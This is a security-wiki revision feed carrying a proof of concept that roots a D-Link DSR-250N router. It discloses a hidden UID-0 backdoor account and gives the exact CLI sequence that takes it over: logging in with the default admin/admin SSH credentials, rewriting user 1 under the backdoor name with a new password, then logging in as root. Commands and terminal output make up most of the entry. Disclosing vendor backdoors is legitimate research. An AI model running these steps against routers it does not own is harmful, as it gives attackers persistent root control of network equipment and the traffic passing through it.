<?xml version="1.0"?>
<feed xmlns="http://www.w3.org/2005/Atom" xml:lang="chinese">
	<id>https://pwnwiki.com/index.php?action=history&amp;feed=atom&amp;title=D-Link_DSR-250N%E5%BE%8C%E9%96%80</id>
	<title>D-Link DSR-250N後門 - Revision history</title>
	<link rel="self" type="application/atom+xml" href="https://pwnwiki.com/index.php?action=history&amp;feed=atom&amp;title=D-Link_DSR-250N%E5%BE%8C%E9%96%80"/>
	<link rel="alternate" type="text/html" href="https://pwnwiki.com/index.php?title=D-Link_DSR-250N%E5%BE%8C%E9%96%80&amp;action=history"/>
	<updated>2026-04-14T14:42:48Z</updated>
	<subtitle>Revision history for this page on the wiki</subtitle>
	<generator>MediaWiki 1.35.1</generator>
	<entry>
		<id>https://pwnwiki.com/index.php?title=D-Link_DSR-250N%E5%BE%8C%E9%96%80&amp;diff=725&amp;oldid=prev</id>
		<title>Pwnwiki: Created page with &quot;==Backdoor== &lt;pre&gt; D-Link DSR-250N Persistent Root Access   #  # Router:                D-Link DSR-250N # Hardware Version:      A1 # Firmware Version:      1.05B73_WW #  # Ar...&quot;</title>
		<link rel="alternate" type="text/html" href="https://pwnwiki.com/index.php?title=D-Link_DSR-250N%E5%BE%8C%E9%96%80&amp;diff=725&amp;oldid=prev"/>
		<updated>2021-03-27T03:35:58Z</updated>

		<summary type="html">&lt;p&gt;Created page with &amp;quot;==Backdoor== &amp;lt;pre&amp;gt; D-Link DSR-250N Persistent Root Access   #  # Router:                D-Link DSR-250N # Hardware Version:      A1 # Firmware Version:      1.05B73_WW #  # Ar...&amp;quot;&lt;/p&gt;
&lt;p&gt;&lt;b&gt;New page&lt;/b&gt;&lt;/p&gt;&lt;div&gt;==Backdoor==&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
D-Link DSR-250N Persistent Root Access&lt;br /&gt;
 &lt;br /&gt;
# &lt;br /&gt;
# Router:                D-Link DSR-250N&lt;br /&gt;
# Hardware Version:      A1&lt;br /&gt;
# Firmware Version:      1.05B73_WW&lt;br /&gt;
# &lt;br /&gt;
# Arch:                  armv6l, Linux&lt;br /&gt;
# &lt;br /&gt;
# Author:                0_o -- null_null&lt;br /&gt;
#                        nu11.nu11 [at] yahoo.com&lt;br /&gt;
# Date:                  2012-11-25&lt;br /&gt;
# &lt;br /&gt;
# Purpose:               Persistently become real root on your D-Link DSR-250N &lt;br /&gt;
#                        I just wanted to do real firewalling on this &lt;br /&gt;
#                        cigarette box, but the router software wouldn't&lt;br /&gt;
#                        let me. So it screamed after getting h@kCz0r3d.&lt;br /&gt;
# &lt;br /&gt;
# Prerequisites:         admin access to CLI&lt;br /&gt;
#&lt;br /&gt;
#&lt;br /&gt;
# Here comes the fun stuff... :-)&lt;br /&gt;
#&lt;br /&gt;
# From the default configuration, you can log in via SSH.&lt;br /&gt;
# user: admin, pass: admin&lt;br /&gt;
# &lt;br /&gt;
 &lt;br /&gt;
root@bt:~# ssh admin@192.168.10.1&lt;br /&gt;
The authenticity of host '192.168.10.1 (192.168.10.1)' can't be established.&lt;br /&gt;
RSA key fingerprint is aa:66:55:ee:cc:66:ff:aa:dd:44:55:00:44:99:33:77.&lt;br /&gt;
Are you sure you want to continue connecting (yes/no)? yes&lt;br /&gt;
Warning: Permanently added '192.168.10.1' (RSA) to the list of known hosts.&lt;br /&gt;
admin@192.168.10.1's password: &lt;br /&gt;
 &lt;br /&gt;
 &lt;br /&gt;
BusyBox v1.17.4 (2011-01-29 12:32:21 IST) built-in shell (ash)&lt;br /&gt;
Enter 'help' for a list of built-in commands.&lt;br /&gt;
 &lt;br /&gt;
************************************************&lt;br /&gt;
Welcome to DSR-250N Command Line Interface&lt;br /&gt;
************************************************&lt;br /&gt;
D-Link DSR&amp;gt; &lt;br /&gt;
 &lt;br /&gt;
.exit     Exit this session&lt;br /&gt;
.help     Display an overview of the CLI syntax&lt;br /&gt;
.history  Display the current session's command line history&lt;br /&gt;
.reboot   Reboot the system.&lt;br /&gt;
.top      Return to the default mode&lt;br /&gt;
dot11     [Wireless configuration Mode]&lt;br /&gt;
license   [License configuration Mode]&lt;br /&gt;
net       [Networking configuration mode]&lt;br /&gt;
qos       [QoS configuration Mode]&lt;br /&gt;
security  [Security configuration mode]&lt;br /&gt;
show      Display system components' configuration&lt;br /&gt;
system    [System configuration mode]&lt;br /&gt;
util      [Utilities Mode]&lt;br /&gt;
vpn       [VPN configuration Mode]&lt;br /&gt;
 &lt;br /&gt;
D-Link DSR&amp;gt; &lt;br /&gt;
 &lt;br /&gt;
#&lt;br /&gt;
# So you get dropped into the CLI. No shellz :(&lt;br /&gt;
# Let's see what we can do from here...&lt;br /&gt;
#&lt;br /&gt;
 &lt;br /&gt;
D-Link DSR&amp;gt; util cat /etc/passwd&lt;br /&gt;
root:!:0:0:root:/root:/bin/sh&lt;br /&gt;
ZX4q9Q9JUpwTZuo7:$1$CtRn6tvb$c3GrPDua6tg9pXFWu.9rF1:0:0:root:/:/bin/sh&lt;br /&gt;
nobody:x:0:0:nobody:/nonexistent:/bin/false&lt;br /&gt;
admin:x:0:2:Linux User,,,:/home/admin:/bin/sh&lt;br /&gt;
guest:x:0:1001:Linux User,,,:/home/guest:/bin/sh&lt;br /&gt;
 &lt;br /&gt;
#&lt;br /&gt;
# Ohhh, a backdoor user! Shame on you, D-Link!!!&lt;br /&gt;
# First, I tried to crack the hash. After 24hrs,&lt;br /&gt;
# I dropped that and searched for another way.&lt;br /&gt;
# Turns out that there are more nice functions&lt;br /&gt;
# available in that CLI...  ;-)&lt;br /&gt;
#&lt;br /&gt;
 &lt;br /&gt;
D-Link DSR&amp;gt; system users edit 1&lt;br /&gt;
users-config[userdb]&amp;gt; username ZX4q9Q9JUpwTZuo7&lt;br /&gt;
users-config[userdb]&amp;gt; password newpass&lt;br /&gt;
users-config[userdb]&amp;gt; password_confirm newpass&lt;br /&gt;
users-config[userdb]&amp;gt; save&lt;br /&gt;
 &lt;br /&gt;
#&lt;br /&gt;
# Now, you will have overwritten the first user &lt;br /&gt;
# managed by the D-Link router software. This &lt;br /&gt;
# user is your current admin user. We have given him &lt;br /&gt;
# the username of the backdoor user and set a new &lt;br /&gt;
# password. You might want to add another admin &lt;br /&gt;
# user first and modify that.&lt;br /&gt;
# For this PoC, I just use default one. Let's see&lt;br /&gt;
# what /etc/passwd and /etc/shadow look like now...&lt;br /&gt;
#&lt;br /&gt;
 &lt;br /&gt;
users-config[userdb]&amp;gt; util cat /etc/passwd&lt;br /&gt;
root:!:0:0:root:/root:/bin/sh&lt;br /&gt;
ZX4q9Q9JUpwTZuo7:wq8NLLJdoSzSw:0:0:root:/:/bin/sh&lt;br /&gt;
nobody:x:0:0:nobody:/nonexistent:/bin/false&lt;br /&gt;
guest:x:0:1001:Linux User,,,:/home/guest:/bin/sh&lt;br /&gt;
users-config[userdb]&amp;gt; util cat /etc/shadow&lt;br /&gt;
guest:TN08ndVLhlVok:14975:0:99999:7:::&lt;br /&gt;
 &lt;br /&gt;
#&lt;br /&gt;
# So, the MD5-Crypt hash has been replaced by a &lt;br /&gt;
# DES-Crypt (unix crypt) hash...&lt;br /&gt;
#&lt;br /&gt;
 &lt;br /&gt;
users-config[userdb]&amp;gt; exit&lt;br /&gt;
D-Link DSR&amp;gt; .exit&lt;br /&gt;
Connection to 192.168.10.1 closed by remote host.&lt;br /&gt;
Connection to 192.168.10.1 closed.&lt;br /&gt;
 &lt;br /&gt;
#&lt;br /&gt;
# Let's have a taste of the new freedom...&lt;br /&gt;
#&lt;br /&gt;
 &lt;br /&gt;
root@bt:~# ssh ZX4q9Q9JUpwTZuo7@192.168.10.1&lt;br /&gt;
ZX4q9Q9JUpwTZuo7@192.168.10.1's password: &lt;br /&gt;
 &lt;br /&gt;
 &lt;br /&gt;
BusyBox v1.17.4 (2011-01-29 12:32:21 IST) built-in shell (ash)&lt;br /&gt;
Enter 'help' for a list of built-in commands.&lt;br /&gt;
 &lt;br /&gt;
DSR-250N&amp;gt; id&lt;br /&gt;
uid=0(root) gid=0(root) groups=0(root)&lt;br /&gt;
DSR-250N&amp;gt; uname -a&lt;br /&gt;
Linux DSR-250N 2.6.31.1-cavm1 #5 Fri Sep 28 11:41:26 IST 2012 armv6l GNU/Linux&lt;br /&gt;
DSR-250N&amp;gt; ls -la /&lt;br /&gt;
drwxr-xr-x   18 root     root             0 Jan  1 00:00 .&lt;br /&gt;
drwxr-xr-x   18 root     root             0 Jan  1 00:00 ..&lt;br /&gt;
drwxr-xr-x    2 root     root             0 Jan  1 00:02 bin&lt;br /&gt;
lrwxrwxrwx    1 root     root             5 Jan  1  1970 data -&amp;gt; flash&lt;br /&gt;
drwxr-xr-x    5 root     root             0 Jan  1 00:02 dev&lt;br /&gt;
drwxr-xr-x   12 root     root             0 Jan  1 00:08 etc&lt;br /&gt;
drwxr-xr-x    4 root     root             0 Jan  1  1970 flash&lt;br /&gt;
drwxr-xr-x    2 root     root             0 Jan  1  1970 flash_multiboot&lt;br /&gt;
drwxr-xr-x    4 root     root             0 Jan  1 00:01 home&lt;br /&gt;
lrwxrwxrwx    1 root     root            10 Sep 28  2012 init -&amp;gt; /sbin/init&lt;br /&gt;
drwxr-xr-x    2 root     root             0 Jan  1 00:00 lib&lt;br /&gt;
lrwxrwxrwx    1 root     root            12 Sep 28  2012 linuxrc -&amp;gt; /bin/busybox&lt;br /&gt;
drwxr-xr-x    3 root     root             0 Jan  1  1970 mnt&lt;br /&gt;
drwxr-xr-x    9 root     root           146 Sep 28  2012 pfrm2.0&lt;br /&gt;
dr-xr-xr-x   71 root     root             0 Jan  1  1970 proc&lt;br /&gt;
drwxr-xr-x    2 root     root             0 Sep 28  2012 root&lt;br /&gt;
drwxr-xr-x    2 root     root             0 Jan  1 00:01 sbin&lt;br /&gt;
drwxr-xr-x   11 root     root             0 Jan  1  1970 sys&lt;br /&gt;
-rw-r--r--    1 root     root             5 Jan  1 00:00 temp&lt;br /&gt;
drwxrwxrwt    4 root     root           380 Jan  1 00:09 tmp&lt;br /&gt;
drwxr-xr-x    6 root     root             0 Jan  1  1970 usr&lt;br /&gt;
drwxrwxrwt   18 root     root          1200 Jan  1 00:03 var&lt;br /&gt;
DSR-250N&amp;gt; df -h&lt;br /&gt;
Filesystem                Size      Used Available Use% Mounted on&lt;br /&gt;
tmpfs                    61.2M    956.0K     60.3M   2% /tmp&lt;br /&gt;
tmpfs                    61.2M    932.0K     60.3M   1% /var&lt;br /&gt;
tmpfs                    61.2M         0     61.2M   0% /mnt/tmpfs&lt;br /&gt;
/dev/mtdblock3           19.5M     19.5M         0 100% /pfrm2.0&lt;br /&gt;
/dev/mtdblock4            2.1M    504.0K      1.6M  23% /flash&lt;br /&gt;
DSR-250N&amp;gt; echo &amp;quot;r00ted! :-)&amp;quot;&lt;br /&gt;
r00ted! :-)&lt;br /&gt;
DSR-250N&amp;gt; exit&lt;br /&gt;
Connection to 192.168.10.1 closed.&lt;br /&gt;
root@bt:~# &lt;br /&gt;
 &lt;br /&gt;
#&lt;br /&gt;
# Your web gui will not work until you reboot your box. Then, log &lt;br /&gt;
# in with the backdoor user and you will have the full admin gui back.&lt;br /&gt;
#&lt;br /&gt;
# By the way, how did they confine us to the CLI in the first place?&lt;br /&gt;
#&lt;br /&gt;
 &lt;br /&gt;
DSR-250N&amp;gt; cat /etc/profile &lt;br /&gt;
# /etc/profile&lt;br /&gt;
LD_LIBRARY_PATH=.:/pfrm2.0/lib:/lib&lt;br /&gt;
PATH=.:/pfrm2.0/bin:$PATH&lt;br /&gt;
CLISH_PATH=/etc/clish&lt;br /&gt;
export PATH LD_LIBRARY_PATH CLISH_PATH&lt;br /&gt;
# redirect all users except root to CLI&lt;br /&gt;
if [ &amp;quot;$USER&amp;quot; != &amp;quot;ZX4q9Q9JUpwTZuo7&amp;quot; ] ; then&lt;br /&gt;
trap &amp;quot;/bin/login&amp;quot; SIGINT&lt;br /&gt;
trap &amp;quot;&amp;quot; SIGTSTP&lt;br /&gt;
/pfrm2.0/bin/cli&lt;br /&gt;
exit&lt;br /&gt;
fi&lt;br /&gt;
PS1='DSR-250N&amp;gt; '&lt;br /&gt;
DSR-250N&amp;gt; &lt;br /&gt;
&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;/div&gt;</summary>
		<author><name>Pwnwiki</name></author>
	</entry>
</feed>